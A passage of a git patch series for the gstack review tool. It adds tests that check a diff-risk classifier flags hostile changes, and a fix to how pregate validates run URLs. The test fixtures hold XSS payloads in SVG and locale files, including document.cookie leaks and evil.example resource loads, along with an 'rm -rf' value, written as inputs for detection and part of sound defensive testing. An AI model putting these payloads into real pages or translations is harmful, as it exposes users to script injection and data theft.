'd649569a163c03476c6e0c5ea295f5d02088f96aab85fbc7d558f2ac2b27006a', replay: 'R51' }, - 'lib/review-risk.ts': { sha: 'dbef7475d467e17340b21a2bacb52a16a7ccb1ee66291900ed2d36dfb5cfb7f2', replay: 'R51' }, + 'lib/review-depth.ts': { sha: '839205a409014fb2cca6988a01aa04c98c495d8d24bd94895a86bf7794627338', replay: 'GST-850' }, + 'lib/review-risk.ts': { sha: '18f0330ddfda0032eb93516b0eb941fa4244e0a68b028e19c436c74609093b03', replay: 'GST-850' }, }; describe('reviewer briefs stay at their no-loss-tested bytes (GSTA-167)', () => { diff --git a/test/review-risk-linear.test.ts b/test/review-risk-linear.test.ts new file mode 100644 index 000000000..7caf71633 --- /dev/null +++ b/test/review-risk-linear.test.ts @@ -0,0 +1,66 @@ +/** + * GST-850: every risk pattern (lib/review-risk.ts) finishes in linear time on hostile input, and every new one is in + * RISK_RULES, which DEPTH_RULES folds in (docs/review-policy.md#risk-classes). + */ +import { describe, expect, test } from 'bun:test'; +import { spawnSync } from 'node:child_process'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; +import { DATA_LINE, MONEY_LINE, SECRET_LINE, SECURITY_LINE, matchRisk } from '../lib/review-risk'; + +const ROOT = path.join(import.meta.dir, '..'); +const N = 10_000; +const fast = (f: () => unknown) => { const t = performance.now(); f(); return performance.now() - t; }; +const scan = (lines: string[]) => matchRisk({ codePaths: ['src/a.ts'], added: { 'src/a.ts': lines }, removed: { 'src/a.ts': lines }, scopeAuth: false }); + +describe('linear time on hostile input', () => { + // Value: protects=gstack-review-plan and the queue verdict never hang on a diff (the R51 resource regex did at about 50 + // backslashes; GST-850 rounds 1 and 2 found quadratic import and exec-binding scans); fails_when=any risk pattern + // backtracks on a long or minified line, or on its anchor followed by a long run of the class it repeats; seam=every + // pattern in SECURITY_LINE, DATA_LINE, SECRET_LINE and MONEY_LINE (R51's rm rule is a known pre-existing issue, filed apart), and matchRisk + const L = 200_000; + const fill = (s: string) => s.repeat(Math.ceil(L / s.length)); + const hostile = [' ', '(', "'", '"', 'a', '{', '\\', '..', 'import a, {', 'fetch(', 'path.join(', 'rmSync(', ' exec', 'new URL("', 'child_process', 'http.get(', 'requests.', + 'tar -', 'unzip ', 'DELETE FROM ', 'delete from a ', 'process.env.', 'x_usd', 'aUsd'].map(fill).concat([' exec' + ' '.repeat(L) + '// c', 'import a, {' + 'b,'.repeat(L / 2)], + ['fetch', 'globalThis.fetch', 'http.get', 'https.request', 'got', 'urlopen', 'urljoin', 'url.resolve', 'exec', 'execSync', 'cp.exec', 'proxy', 'redirect', 'maxRedirects', 'tar.extract', 'unzip', 'tar'].map(a => a + ' '.repeat(L)), + ['got.', 'requests.', 'httpx.', 'tar -', 'tar x', 'rm -', 'allowed_', 'host_allow', 'node_modules/adm-'].map(a => a + 'x'.repeat(L)), + ['new' + ' '.repeat(L) + 'URL(', 'new URL(' + ' '.repeat(L), 'new URL("' + 'a'.repeat(L), "'" + 'node:'.repeat(L / 5), 'path.join(' + 'a'.repeat(L), 'path.join(' + ')'.repeat(L), + "includes(" + ' '.repeat(L), '==' + ' '.repeat(L) + "'..'", "'..'" + ' '.repeat(L) + '==', '\\.' + '\\'.repeat(L)]); + test.each(Object.entries({ SECURITY_LINE, DATA_LINE, SECRET_LINE, MONEY_LINE }))('every %s pattern finishes under 100 ms on each 200k-character hostile line', (_n, patterns) => { + const slow = patterns.flatMap(r => hostile.map((s, k) => [r.source.slice(0, 40), k, fast(() => r.test(s))] as const)).filter(([, , ms]) => ms >= 100); + expect(slow).toEqual([]); + }); + test('a 512 KB comment of unclosed imports and a minified import line run through matchRisk in under 1 s', () => { + expect(fast(() => scan(Array.from({ length: 65_536 }, () => 'import {')))).toBeLessThan(1000); + expect(fast(() => scan(['import a, {'.repeat(32_000)]))).toBeLessThan(1000); + }); +}); + +describe('the rules hashes cover every new pattern', () => { + // Value: protects=a receipt or queue verdict notices a risk-pattern edit; fails_when=an edit to a security pattern or a money + // word leaves DEPTH_RULES unchanged; seam=DEPTH_RULES over RISK_RULES + test.each([ + ["'billable', 'billed'", "'billable', 'billed', 'tariff'"], + ['extract-zip|unzipper', 'extract-zip|unzipper|jszip'], + ["['proxy', ['billing', 'bill']]", "['proxy', ['billing', 'bill', 'meter']]"], + ])('editing review-risk.ts (%s) changes DEPTH_RULES', (needle, to) => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'risk-rules-')); + try { + for (const f of ['review-depth.ts', 'review-risk.ts']) fs.copyFileSync(path.join(ROOT, 'lib', f), path.join(dir, f)); + fs.symlinkSync(path.join(ROOT, 'lib/ship-policy.ts'), path.join(dir, 'ship-policy.ts')); + fs.writeFileSync(path.join(dir, 'print.ts'), "import { DEPTH_RULES } from './review-depth';\nconsole.log(DEPTH_RULES);\n"); + const hash = () => { + const r = spawnSync(process.execPath, ['--no-env-file', '--config=/dev/null', path.join(dir, 'print.ts')], { encoding: 'utf8', timeout: 30_000 }); + expect(r.status, r.stderr).toBe(0); + return r.stdout.trim(); + }; + const before = hash(); + const src = fs.readFileSync(path.join(dir, 'review-risk.ts'), 'utf8'); + expect(src).toContain(needle); + fs.writeFileSync(path.join(dir, 'review-risk.ts'), src.replace(needle, to)); + expect(before).toMatch(/^[0-9a-f]{16}$/); + expect(hash()).not.toBe(before); + } finally { fs.rmSync(dir, { recursive: true, force: true }); } + }); +}); diff --git a/test/review-risk-routing.test.ts b/test/review-risk-routing.test.ts index 7466c3bdb..66f3d8fa9 100644 --- a/test/review-risk-routing.test.ts +++ b/test/review-risk-routing.test.ts @@ -121,3 +121,183 @@ describe('the receipt records the tier and the rounds', () => { expect(receiptSummaryLine(legacy)).not.toContain('rounds='); }); }); + +const SVG_PATH = 'docs/evals/chart.svg'; +const CHART = ['', '', ' Recall by arm', + ' ', ' ', + ' ', ' ', ' 33/41 & up', ' ', ' ', '', '']; +const classOf = (p: string, added: string[], removed: string[] = [], created: string[] = []) => + classifyDiff({ paths: [p], created, gateTagged: 0, added: { [p]: added }, removed: { [p]: removed }, perPath: [{ path: p, lines: added.length + removed.length, binary: false }] }).class; +const svgClass = (lines: string[]) => classOf(SVG_PATH, lines, [], [SVG_PATH]); +const swap = (from: string, to: string) => CHART.map(l => l.replace(from, to)); + +describe('GST-850 choice A: a clean chart SVG and a locale value edit stay code (light)', () => { + // Value: protects=UI text and SVGs keep one batched reader plus the native adversarial pass (the allowlist docs paths were dropped + // for review cost); fails_when=a clean chart or a locale value edit plans as docs, or the batched specialist drops a write-up + // that publishes numbers; seam=classifyDiff and planReview + test('a new clean chart SVG is code, and a write-up with it plans light with the batched reader', () => { + expect(svgClass(CHART)).toBe('code'); + const md = 'docs/evals/run.md'; + const added = { [md]: ['Recall rose to 33/41.'], [SVG_PATH]: CHART }; + const p = plan({ paths: [md, SVG_PATH], created: [SVG_PATH], added, removed: {}, perPath: [{ path: md, lines: 1, binary: false }, { path: SVG_PATH, lines: CHART.length, binary: false }], numbers: scanNumbers(added) }); + expect([p.depth, roles(p)]).toEqual(['light', ['specialist', 'adversarial-native', 'outside-voice']]); + }); + test('the batched specialist reads a write-up that publishes numbers, and leaves docs out when nothing is published', () => { + const md = 'docs/evals/run.md', code = 'scripts/score.ts'; + const base = { paths: [code, md], added: { [code]: ['export const k = 1;'], [md]: ['Recall rose to 33/41.'] }, removed: {}, perPath: [{ path: code, lines: 1, binary: false }, { path: md, lines: 1, binary: false }] }; + const batched = (numbers: ReturnType) => plan({ ...base, numbers }).dispatches.find(d => d.name === 'batched')!.exclude.join(' '); + expect(batched(scanNumbers(base.added))).not.toContain(md); + expect(batched(none)).toContain(md); + }); + test.each([ + ['json', 'locales/en.json', ' "save": "Save",', ' "save": "Save now",'], + ['arb', 'lib/l10n/app_en.arb', ' "greeting": "Hello {name}",', ' "greeting": "Hi there {name}",'], + ['yaml quoted', 'app/i18n/en.yml', ' save: "Save"', ' save: "Save now"'], + ['yaml plain', 'locales/en.yaml', ' cancel: Cancel', ' cancel: Cancel it'], + ['po', 'locale/fr/LC_MESSAGES/app.po', 'msgstr "Enregistrer %s"', 'msgstr "Sauvegarder %s"'], + ['strings', 'Resources/lang/en.lproj/Localizable.strings', '"save" = "Save";', '"save" = "Save now";'], + ['xliff', 'translations/messages.fr.xlf', ' Enregistrer', ' Sauvegarder'], + ['ftl', 'locales/en-US/main.ftl', 'welcome = Welcome, { $user }!', 'welcome = Hello, { $user }!'], + ['properties', 'src/main/resources/i18n/messages_en.properties', 'button.save=Save', 'button.save=Save now'], + ])('a %s value edit under a locale directory is code', (_n, p, before, after) => { + expect(classOf(p, [after], [before])).toBe('code'); + }); +}); + +describe('GST-850: every bypass of the line-pattern docs paths stays code', () => { + // Value: protects=active or bound content never plans as docs; fails_when=any bypass from GST-850 or a sibling spelling classes docs; + // seam=classifyDiff + test.each([ + ['namespaced ', ['window.x=42']], + ['a ')], + ['an uppercase SCRIPT', swap('<title>', '<SCRIPT>alert(1)</SCRIPT><title>')], + ['a multi-line onload attribute', ['<svg xmlns="http://www.w3.org/2000/svg"', ' onload', ' ="alert(1)">', '</svg>']], + ['an onclick handler', swap('<rect ', '<rect onclick="alert(1)" ')], + ['a Vue :fill binding', swap('<rect ', '<rect :fill="leak(document.cookie)" ')], + ['a v-bind: binding', swap('<rect ', '<rect v-bind:fill="x" ')], + ['an Alpine x-bind: binding', swap('<rect ', '<rect x-bind:fill="x" ')], + ['an @click binding', swap('<rect ', '<rect @click="x()" ')], + ['mustache text', swap('33/41 & up', '{{ constructor.constructor("alert(1)")() }}')], + ['a foreignObject', swap('<title>', '<foreignObject><div>x</div></foreignObject><title>')], + ['an animate on href', swap('<use href="#g"/>', '<use href="#g"><animate attributeName="href" to="javascript:alert(1)"/></use>')], + ['a set element', swap('<use href="#g"/>', '<set attributeName="fill" to="red"/>')], + ['a doctype with an entity', ['<!DOCTYPE svg [<!ENTITY x "y">]>', ...CHART.slice(1)]], + ['an xlink:href', swap('<use href="#g"/>', '<use xlink:href="#g"/>')], + ['an outside use href', swap('<use href="#g"/>', '<use href="https://evil.example/x.svg#a"/>')], + ['an href off use', swap('<text x="30"', '<text href="#g" x="30"')], + ['a style url(', swap('style="opacity: 0.9"', 'style="fill: url(#g)"')], + ['a style @import', swap('style="opacity: 0.9"', 'style="@import url(x.css)"')], + ['an outside fill url', swap('fill="url(#g)"', 'fill="url(https://evil.example/x)"')], + ['a CSS-escaped url', swap('fill="url(#g)"', 'fill="\\75rl(https://evil.example/x)"')], + ['an xml-stylesheet instruction', ['<?xml-stylesheet href="https://evil.example/x.css"?>', ...CHART.slice(1)]], + ['a CDATA section', swap('33/41 & up', '<![CDATA[<script>x</script>]]>')], + ['an image element', swap('<title>', '<image href="https://evil.example/x.png"/><title>')], + ['a style element', swap('<title>', '<style>@import url(x.css);</style><title>')], + ['another namespace', swap('xmlns="http://www.w3.org/2000/svg"', 'xmlns="http://www.w3.org/1999/xhtml"')], + ['a numeric entity in an attribute', swap('fill="url(#g)"', 'fill="url(https://evil.example/x)"')], + ['an unclosed root', CHART.slice(0, -2)], + ['two roots', [...CHART, '<svg xmlns="http://www.w3.org/2000/svg"></svg>']], + ['text after the root', [...CHART, 'trailing']], + ['an HTML-closed empty comment <!-->', swap('<title>', '<!--><image width="1" height="1"/>--><title>')], + ['an HTML-closed empty comment <!--->', swap('<title>', '<!---><foreignObject/>--><title>')], + ['numeric references spelling an interpolation', swap('33/41 & up', '{{run()}}')], + ['an attribute interpolation', swap('<text x="30"', '<text class="{{run()}}" x="30"')], + ])('a new SVG with %s is code', (_n, lines) => { + expect(svgClass(lines as string[])).toBe('code'); + }); + test('an edited SVG is code even when both sides are clean', () => { + expect(classOf(SVG_PATH, CHART, swap('33/41', '30/41'))).toBe('code'); + expect(classOf(SVG_PATH, CHART)).toBe('code'); + }); + test.each([ + ['i18n .ts', 'src/i18n/en.ts', " save: 'Save',", " save: 'Save now',"], + ['string-concat HTML', 'src/App.tsx', "const html = '<h1>' + title + '</h1>';", "const html = '<h1>' + leak() + '</h1>';"], + ['an edit inside an existing <script>', 'src/App.vue', ' const label = "Save";', ' const label = "Save now";'], + ['a Vue :title binding', 'src/App.vue', '<div :title="user.name">Profile</div>', '<div :title="leak(document.cookie)">Profile</div>'], + ['a markup value', 'locales/en.json', ' "save": "Save",', ' "save": "<img src=x onerror=alert(1)>",'], + ['a changed placeholder', 'locales/en.json', ' "hi": "Hi {name}",', ' "hi": "Hi {user.password}",'], + ['a new mustache expression', 'locales/en.json', ' "hi": "Hi",', ' "hi": "Hi {{constructor.constructor(1)()}}",'], + ['a vue-i18n linked message', 'locales/en.json', ' "hi": "Hi",', ' "hi": "Hi @:secret.key",'], + ['an i18next nesting', 'locales/en.json', ' "hi": "Hi",', ' "hi": "Hi $t(secret)",'], + ['a renamed key', 'locales/en.json', ' "save": "Save",', ' "store": "Save",'], + ['an escaped character', 'locales/en.json', ' "save": "Save",', ' "save": "\\u003cscript\\u003e",'], + ['a script URL', 'locales/en.yml', ' link: "https://example.com"', ' link: "javascript:alert(1)"'], + ['a locale file outside a locale directory', 'src/en.json', ' "save": "Save",', ' "save": "Save now",'], + ['a locale file under config/', 'config/locales/en.yml', ' save: "Save"', ' save: "Save now"'], + ['an escaped script scheme', 'locales/en.json', ' "go": "Continue",', ' "go": "java\\nscript:alert(1)",'], + ['a protocol-relative link', 'locales/en.json', ' "help": "[docs](/help)",', ' "help": "[docs](//evil.example/help)",'], + ['a YAML null', 'locales/en.yml', ' label: Save', ' label: null'], + ['a YAML boolean', 'locales/en.yml', ' label: Save', ' label: false'], + ['a renamed gettext placeholder', 'locale/fr/LC_MESSAGES/app.po', 'msgstr "Bonjour %(name)s"', 'msgstr "Bonjour %(password)s"'], + ['an Ansible task under a locale role', 'roles/locale/tasks/main.yml', ' command: a-tool one', ' command: b-tool two'], + ['a non-message .properties under lang/', 'src/main/resources/lang/app.properties', 'db.url=host-a', 'db.url=host-b'], + ['a non-locale JSON under lang/', 'tools/lang/rules.json', ' "pattern": "^[a-z]+$",', ' "pattern": ".*",'], + ['a locale value carrying a risk line', 'src/i18n/en.yml', ' command: echo ok', ' command: rm -rf /tmp/x'], + ])('%s is code', (_n, p, before, after) => { + expect(classOf(p, [after], [before])).toBe('code'); + }); + test('an added key and the backtracking input are code, and the input finishes fast', () => { + expect(classOf('locales/en.json', [' "extra": "Extra",'])).toBe('code'); + expect(classOf('src/i18n/en.yml', [' title: Hello', ' sub: World'], [' title: Hello', ' sub: World'])).toBe('code'); + const t = performance.now(); + expect(classOf('locales/en.yml', [' save: "' + '\\'.repeat(10_000) + 'x'], [' save: "Save"'])).toBe('code'); + expect(classOf('locales/en.yml', [' save: "' + '\\'.repeat(9_999) + '"'], [' save: "Save"'])).toBe('code'); + expect(performance.now() - t).toBeLessThan(100); + }); +}); + +describe('GST-850: security reaches outbound URLs, archives, path traversal and every child_process spelling', () => { + // Value: protects=an SSRF, archive-extraction, traversal or shell-exec diff reaches the full panel; fails_when=a spelling of any of + // them reads light, or a literal URL, a spawnSync import or a tarball create raises a class; seam=matchRisk + test.each([ + "import { exec } from 'node:child_process';", 'import { execSync as run } from "child_process";', "import { spawn, spawnSync } from 'node:child_process';", + "import cp from 'node:child_process';", "import * as cp from 'child_process';", "import cp, { spawnSync } from 'child_process';", + "const { exec } = require('child_process');", "const cp = require('node:child_process');", "const cp = await import('node:child_process');", + 'exec(cmd, cb);', 'cp.exec(cmd);', "import { spawnSync } from 'node:child_process';", "import type { ExecOptions } from 'node:child_process';", + "const r = await fetch('https://api.github.com/repos');", 'r = requests.request("GET", user_url)', "http.get('http://x.example/', { hostname: req.query.t }, cb);", 'const res = await fetch(url);', "await fetch('https://' + host + '/v1');", 'https.get(target, cb);', 'await axios.get(req.query.u);', 'const body = await got(url).text();', + 'r = requests.get(url, timeout=5)', 'urllib.request.urlopen(target)', 'const next = new URL(req.query.next, base);', "import { request } from 'undici';", + "const res = await fetch('https://x.example', { redirect: 'follow' });", 'maxRedirects: 10,', 'r = httpx.get("https://x.example", follow_redirects=True)', 'const p = process.env.HTTPS_PROXY;', 'const agent = new HttpsProxyAgent(p);', + "const ALLOWED_HOSTS = ['api.example.com'];", 'hostAllowlist.push(h);', + 'await tar.x({ file, cwd: dest });', 'new AdmZip(buf).extractAllTo(dir, true);', "import yauzl from 'yauzl';", "import extract from 'extract-zip';", 'zipfile.ZipFile(p).extractall(d)', + 'tarfile.open(p).extractall(d)', 'tar -xzf "$TGZ" -C "$DIR"', 'unzip -o "$ZIP" -d "$DIR"', 'fs.writeFileSync(path.join(root, entry.path), data);', 'const dest = path.resolve(out, req.params.name);', + "if (rel.startsWith('..')) throw new Error('escape');", "if (parts.includes('..')) return;", + ])('%s is security', line => { + expect(risk(['src/net.ts'], { 'src/net.ts': [line] })).toEqual(['security']); + }); + test('a named import split over lines is security, from either side of the diff', () => { + const split = ['import {', ' spawnSync,', ' exec,', "} from 'node:child_process';"]; + expect(risk(['src/run.ts'], { 'src/run.ts': split })).toEqual(['security']); + expect([...matchRisk({ codePaths: ['src/run.ts'], added: {}, removed: { 'src/run.ts': split }, scopeAuth: false }).keys()]).toEqual(['security']); + expect(risk(['src/run.ts'], { 'src/run.ts': ['import {', ' type ExecOptions,', ' exec as run,', "} from 'node:child_process';"] })).toEqual(['security']); + }); + test('a literal new URL, tarball creation, parent-dir joins and look-alike names are not security', () => { + for (const line of ["const u = new URL('https://example.com');", 'const here = new URL(import.meta.url);', 'tar -czf out.tgz dir', "const root = path.join(import.meta.dir, '..');", + 'const m = re.exec(line);', "ENV.fetch('HOME')", 'git fetch origin main']) + expect(risk(['src/run.ts'], { 'src/run.ts': [line] })).toEqual([]); + }); +}); + +describe('GST-850: money reaches metering, charge and credit code', () => { + // Value: protects=a billing-client or metering diff gets the money reader; fails_when=gbrain-evals #289 reads required=none again, + // or costume, a CLI usage line or a proxy with no billing names money; seam=matchRisk and targetedClasses + test('gbrain-evals #289 (metering proxy and particle billing clients) reads money, each code path on its own', () => { + const x = JSON.parse(fs.readFileSync(path.join(ROOT, 'test/fixtures/review-risk/gbrain-evals-289.json'), 'utf8')); + expect(targetedClasses({ paths: x.paths, added: x.added, removed: x.removed, scope: { SCOPE_AUTH: 'false' }, gateTagged: 0 }).classes).toEqual(['money']); + expect(classifyDiff({ paths: x.paths, added: x.added, removed: x.removed, gateTagged: 0 }).risk).toContain('money'); + const code = Object.keys({ ...x.added, ...x.removed }); + expect(code.length).toBe(7); + for (const p of code) expect(matchRisk({ codePaths: [p], added: { [p]: x.added[p] ?? [] }, removed: { [p]: x.removed[p] ?? [] }, scopeAuth: false }).has('money')).toBe(true); + }); + test('metering, charge and credit words and pairs name money; costume, CLI usage and a plain proxy do not', () => { + expect(risk(['eval/runner/harness-metering-proxy.ts'])).toEqual(['money']); + expect(risk(['lib/usage-tokens.ts'])).toEqual(['money']); + for (const line of ['if (compatMayHaveBilled(e)) break;', 'const left = credits - spent;', 'await meter.record(n);', 'const usd = res.usage.output_tokens * rate;', + 'const billingProxy = startProxy();', 'export class CostClient {', 'const billable = true;']) + expect(risk(['src/run.ts'], { 'src/run.ts': [line] })).toEqual(['money']); + expect(risk(['src/costume.ts'])).toEqual([]); + expect(risk(['src/cli/usage.ts'], { 'src/cli/usage.ts': ['export function printUsage() { console.log(USAGE); }'] })).toEqual([]); + expect(risk(['src/proxy.ts'], { 'src/proxy.ts': ['const target = proxyTarget(host);'] })).toEqual([]); + expect(risk(['src/geometry.ts'], { 'src/geometry.ts': ['const diameter = 2 * r; // a parameter'] })).toEqual([]); + expect(classifyDiff({ paths: ['docs/usage.md'], gateTagged: 0, added: { 'docs/usage.md': ['Usage: gstack run'] }, removed: {} }).risk).toEqual([]); + }); +}); From 35817bae9ac783b8af8fd6a810c50604e7effbe5 Mon Sep 17 00:00:00 2001 From: Garry Tan <garrytan@gmail.com> Date: Sun, 1 Nov 2026 23:37:16 -0800 Subject: [PATCH 6/7] v1.92.62.0 fix(pregate): clear --run-url refuses a run of another workflow (#3832) * test(pregate): clear --run-url accepts a run of another workflow on a lane with no profile (red, GSTA-203 PR 6) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(pregate): clear --run-url refuses a run of another workflow on a lane with no profile (GSTA-203 PR 6) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(pregate): the wrong-workflow refusal names its fix and survives a null run read (GSTA-203 PR 6) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: pre-landing review fixes (each refusal names its own fix) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test(pregate): a job link with ?pr= or #step clears a lane with no profile (red, GSTA-203 PR 6 fix-check) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(pregate): clear --run-url accepts job links copied with ?pr= or #step (GSTA-203 PR 6 fix-check) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test(pregate): the real workflows owe windows-smoke.yml/windows-smoke and only its run clears it; the ready conflict hint names each lane's own workflow (GSTA-203 PR 6) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --------- Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --- CHANGELOG.md | 4 +++ TODOS.md | 2 +- VERSION | 2 +- agents-digest/gstack-AGENTS.md | 2 +- docs/pregate.md | 20 ++++++++++++-- lib/pregate/index.ts | 18 +++++++++++-- lib/ship-queue.ts | 2 +- package.json | 2 +- test/gstack-ship-queue.test.ts | 2 +- test/pregate-clear-runs.test.ts | 48 ++++++++++++++++++++++++++++++++- 10 files changed, 91 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6943bc2b7..8a7b3a0a0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,9 @@ # Changelog +## [1.92.62.0] - 2026-11-02 + +- **`gstack-pregate clear --run-url` checks the run's workflow.** On a lane with no run profile, `clear` used to record any URL as the receipt, so a `windows-smoke.yml` run could clear `windows-free-tests.yml/windows-free-shard` on a branch cut before #3806. When the base config and the GitHub origin can be read, `clear` now reads the run and refuses `PREGATE_RECEIPT_INVALID` (`workflow_mismatch`) unless its workflow file is the lane's own; a run gh cannot read (`api_error`) or a URL that is not an Actions run on this repository (`run_ref_invalid`) refuses too, and each refusal names its own fix. A run of the lane's own workflow clears as before, including a job link copied with `?pr=` or `#step`. `test_backend/*` lanes, `--bundle-lane` and non-GitHub origins are unchanged. On main the Windows obligation is `windows-smoke.yml/windows-smoke`, and a test now checks that against the repository's own workflows. The `ready` conflict hint now says to clear each lane with a run of that lane's own workflow. `test/pregate-clear-runs.test.ts` covers the mismatch, the matching control, the unreadable run, the non-run URL and the copied job links; each failed before its fix. + ## [1.92.61.0] - 2026-11-02 - **The security class reaches outbound URLs, archives and every `child_process` spelling** (GST-850). `lib/review-risk.ts` now flags any call to an outbound HTTP client (`fetch`, `http(s).get` or `.request`, axios, got, undici, `requests`, `httpx`, urllib), `new URL` from input, redirect toggles, proxy settings and host allowlists; tar, zip and unzip extraction, `path.join` or `resolve` on request or entry input, and `'..'` checks; and any changed line that names the `child_process` module. The new rules parse no import clause or call arguments, and a test holds each under 100 ms on 200,000-character hostile lines. diff --git a/TODOS.md b/TODOS.md index eb40e432b..215b3b0aa 100644 --- a/TODOS.md +++ b/TODOS.md @@ -18,7 +18,7 @@ - **Bound the queue's recompute time.** `gstack-ship-queue` recomputes each receipt's needed depth at READY and at train build; add a test that a five-PR train recomputes within a fixed budget, so a large diff cannot stall the train. **Effort:** S. **Priority:** P1. ### P2/P3: Windows smoke follow-ups (filed 2026-11-01, from the GSTA-203 PR 1 /ship review) -- **Branches cut before windows-smoke.yml still owe the old Windows lane (P2)** — pregate reads lanes from the branch's own workflows, so such a branch keeps an uncleared `windows-free-tests.yml/windows-free-shard` obligation, and `ready --dispatch-ci` skips `windows-smoke.yml` there. The lane clears it by passing `windows-free-tests.yml` to `--dispatch-ci` (the old cost) or with a main-merge grant. Have the skip note name that route, or dispatch the old workflow in smoke's place. The skip also treats a branch that deletes or renames `windows-smoke.yml` as one that predates it; check the merge base too. **Effort:** S. **Priority:** P2. +- **Branches cut before windows-smoke.yml still owe the old Windows lane (P2)** — pregate reads lanes from the branch's own workflows, so such a branch keeps an uncleared `windows-free-tests.yml/windows-free-shard` obligation, and `ready --dispatch-ci` skips `windows-smoke.yml` there. The lane clears it by passing `windows-free-tests.yml` to `--dispatch-ci` (the old cost) or with a main-merge grant. Since GSTA-203 PR 6, `gstack-pregate clear --run-url` refuses a `windows-smoke.yml` run for that lane (`workflow_mismatch`), so the wrong-workflow clear is blocked. Have the skip note name that route, or dispatch the old workflow in smoke's place. The skip also treats a branch that deletes or renames `windows-smoke.yml` as one that predates it; check the merge base too. **Effort:** S. **Priority:** P2. - **Someone owns the nightly (P2)** — nothing reads the scheduled `windows-free-tests.yml` result or its flake ledgers. Add a test-health-report metric for scheduled runs on main, or have the daily flaky pass read the latest nightly. **Effort:** S. **Priority:** P2. - **Smoke /browse step waits for its page server (P3)** — `windows-smoke.yml` starts `Bun.serve` in the background and calls `browse chain goto` right away; poll the port first. **Effort:** XS. **Priority:** P3. - **Smoke seed ceiling vs the weekly reseed (P3)** — `test/windows-native-workflows.test.ts` holds each smoke file to 5 s in the Windows seed, which `free-durations-record.yml` rewrites weekly; one slow recording turns the seed PR red. Report the overrun there or re-pick files at reseed. **Effort:** S. **Priority:** P3. diff --git a/VERSION b/VERSION index dc92c8730..84b00ae41 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.92.61.0 +1.92.62.0 diff --git a/agents-digest/gstack-AGENTS.md b/agents-digest/gstack-AGENTS.md index 6ba15545c..3b68e506c 100644 --- a/agents-digest/gstack-AGENTS.md +++ b/agents-digest/gstack-AGENTS.md @@ -1,4 +1,4 @@ -# gstack digest v1.92.61.0 — regenerate/re-copy after upgrading gstack +# gstack digest v1.92.62.0 — regenerate/re-copy after upgrading gstack Behavioral rules from gstack (https://github.com/garrytan/gstack), compressed for agent hosts without a full skill install. The full skills add workflows, diff --git a/docs/pregate.md b/docs/pregate.md index def98ef6a..e3b9393b6 100644 --- a/docs/pregate.md +++ b/docs/pregate.md @@ -752,7 +752,17 @@ heads=<h12> verified=<time>` (with `accepted-for=` and the substitution for a stamp-only predecessor). A lane with its own profile gets `run tree=… runs=…` the same way; for such a lane `--run-url` is verified as `--run` is, and `--bundle-lane` is refused. A lane with no profile keeps today's `--run-url` -recording. When the base config or the GitHub origin cannot be read, `--run` +recording, with one check (GSTA-203): when the base config and the GitHub +origin can be read, `clear` reads the run once and refuses +`PREGATE_RECEIPT_INVALID` unless it is a run of this repository whose +workflow file is the lane's own `<workflow.yml>`. A run of another workflow +refuses with `REUSE: refused reason=workflow_mismatch — run <id> attempt <n> +ran .github/workflows/<other>.yml, not .github/workflows/<lane's>.yml`; a +run gh cannot read refuses with `api_error`, and a URL that is not an Actions +run URL or id on this repository with `run_ref_invalid`. Only the workflow +file is checked there, not the job, conclusion or tree; that is what a run +profile adds. `test_backend/<backend>` lanes and `--bundle-lane` are +unchanged. When the base config or the GitHub origin cannot be read, `--run` fails, and so do `--run-url` and `--bundle-lane` unless the base was read and shows the lane has no profile; then the lane is recorded as before, with a warning naming the cause. `gstack-ship-queue ready --dispatch-ci` still @@ -768,7 +778,13 @@ aggregate, `os` Windows). Each accepts `pull_request` and `workflow_dispatch` runs and reads the `tested-tree` artifact, which both aggregates upload only after their strict verification passes. The main-push reuse job and `--from-run` read them. No lane has a profile, so every macOS and Windows lane -still clears by `--run-url` as before. A pull request cut before these +still clears by `--run-url`, checked only for its workflow file. On main the +Windows obligation is `windows-smoke.yml/windows-smoke` (the six-shard +`windows-free-tests.yml/windows-free-shard` job is `manual`, so it is never an +obligation), and a `windows-smoke.yml` run clears it. A branch cut before +`windows-smoke.yml` landed still owes `windows-free-tests.yml/windows-free-shard` +from its own workflows, and only a `windows-free-tests.yml` run clears that. A +pull request cut before these workflows uploaded `tested-tree` has no record a lane profile could verify, so lane profiles wait until open pull requests carry the producer (GST-555). diff --git a/lib/pregate/index.ts b/lib/pregate/index.ts index aea1fc748..29eca7a46 100644 --- a/lib/pregate/index.ts +++ b/lib/pregate/index.ts @@ -27,7 +27,7 @@ import { NON_DOWNGRADABLE, PREGATE_CONFIG_PATH, userPolicyAbsent } from './confi import { sha256, withFingerprint } from './context'; import { baseBranchOf, baseMismatchFix, describeSubstitution, substituteStampOnlyTree } from './remote-receipt'; import { resolveBaseBranch } from '../ship-policy'; -import { parseRunReceipt, parseRunRef, runChanged, runReceiptFields, uncoveredFiles, verifyRun, type RemoteGateRuns, type RunDeps, type RunEvidence, type RunProfile } from '../run-evidence'; +import { parseRunReceipt, parseRunRef, runChanged, runReceiptFields, uncoveredFiles, verifyRun, type ApiRun, type RemoteGateRuns, type RunDeps, type RunEvidence, type RunProfile } from '../run-evidence'; import type { CheckDef, CheckResult, PregateContext, Stage } from './types'; export const CHECKS: readonly CheckDef[] = [regenCheck, secretsCheck, straysCheck, literalsCheck, timingCheck, guardsCheck, lanesCheck]; @@ -217,7 +217,10 @@ export type ClearDecision = { receipt: string; attested: boolean; substitution?: * tree and the substitution recorded; when any differing path is not a stamp, * the tree mismatch refuses as before. A `test_backend/<backend>` obligation * has no machine-checkable receipt, so its run URL is recorded as attested. - * Platform lanes take a run URL or an evidence-bundle lane label. + * Platform lanes take a run URL or an evidence-bundle lane label. When the run + * evidence is readable, a run URL must name a run of this repository whose + * workflow file is 